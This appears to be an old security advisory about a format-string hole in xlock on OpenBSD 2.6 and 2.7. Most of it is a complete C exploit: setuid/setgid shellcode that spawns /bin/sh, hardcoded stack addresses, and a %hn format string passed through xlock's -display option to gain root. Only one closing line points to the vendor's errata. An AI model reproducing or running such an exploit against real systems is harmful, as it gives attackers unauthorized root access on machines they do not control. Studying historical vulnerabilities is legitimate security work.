COMMAND
xlock
SYSTEMS AFFECTED
OpenBSD 2.6, 2.7
PROBLEM
Noir Desir posted following.
/*
OpenBSD 2.6/2.7 xlock exploit by noir
noir@gsu.linux.org.tr
tested only on OpenBSD/i386 2.6
thanks:
cengiz_turkmen@hotmail.com for support!
greets: caddis <caddis@dissension.net> orginal chpass exploit
bind, CronoS, dustdvl, ppl from defcon7, gsu-linux staff
TESO, ADM, Lam3rz, SSG
*/
#include <stdio.h>
char bsd_shellcode[] =
"\x31\xc0\x50\x50\xb0\x17\xcd\x80"// setuid(0)
"\x31\xc0\x50\x50\xb0\xb5\xcd\x80"//setgid(0)
"\xeb\x16\x5e\x31\xc0\x8d\x0e\x89"
"\x4e\x08\x89\x46\x0c\x8d\x4e\x08"
"\x50\x51\x56\x50\xb0\x3b\xcd\x80"
"\xe8\xe5\xff\xff\xff/bin/sh";
struct platform {
char *name;
unsigned short count;
unsigned long dest_addr;
unsigned long shell_addr;
char *shellcode;
};
struct platform targets[3] =
{
{ "OpenBSD 2.6 i386 ", 246, 0xdfbfd4a0, 0xdfbfdde0, bsd_shellcode },
{ "OpenBSD 2.7 i386 ", 246, 0xaabbccdd, 0xaabbccdd, bsd_shellcode },
{ NULL, 0, 0, 0, NULL }
};
char jmpcode[129];
char fmt_string[2000];
char *args[] = { "xlock", "-display", fmt_string, NULL };
char *envs[] = { jmpcode, NULL };
int main(int argc, char *argv[])
{
char *p;
int x, len = 0;
struct platform *target;
unsigned short low, high;
unsigned long shell_addr[2], dest_addr[2];
target = &targets[0];
memset(jmpcode, 0x90, sizeof(jmpcode));
strcpy(jmpcode + sizeof(jmpcode) - strlen(target->shellcode), target->shellcode);
shell_addr[0] = (target->shell_addr & 0xffff0000) >> 16;
shell_addr[1] = target->shell_addr & 0xffff;
memset(fmt_string, 0x00, sizeof(fmt_string));
for (x = 17; x < target->count; x++) {
strcat(fmt_string, "%8x");
len += 8;
}
if (shell_addr[1] > shell_addr[0]) {
dest_addr[0] = target->dest_addr+2;
dest_addr[1] = target->dest_addr;
low = shell_addr[0] - len;
high = shell_addr[1] - low - len;
} else {
dest_addr[0] = target->dest_addr;
dest_addr[1] = target->dest_addr+2;
low = shell_addr[1] - len;
high = shell_addr[0] - low - len;
}
*(long *)&fmt_string[0] = 0x41;
*(long *)&fmt_string[1] = 0x11111111;
*(long *)&fmt_string[5] = dest_addr[0];
*(long *)&fmt_string[9] = 0x11111111;
*(long *)&fmt_string[13] = dest_addr[1];
p = fmt_string + strlen(fmt_string);
sprintf(p, "%%%dd%%hn%%%dd%%hn", low, high);
execve("/usr/X11R6/bin/xlock", args, envs);
perror("execve");
}
SOLUTION
http://www.openbsd.org/security.html#27 has a big note pointing
to the errata entry for months.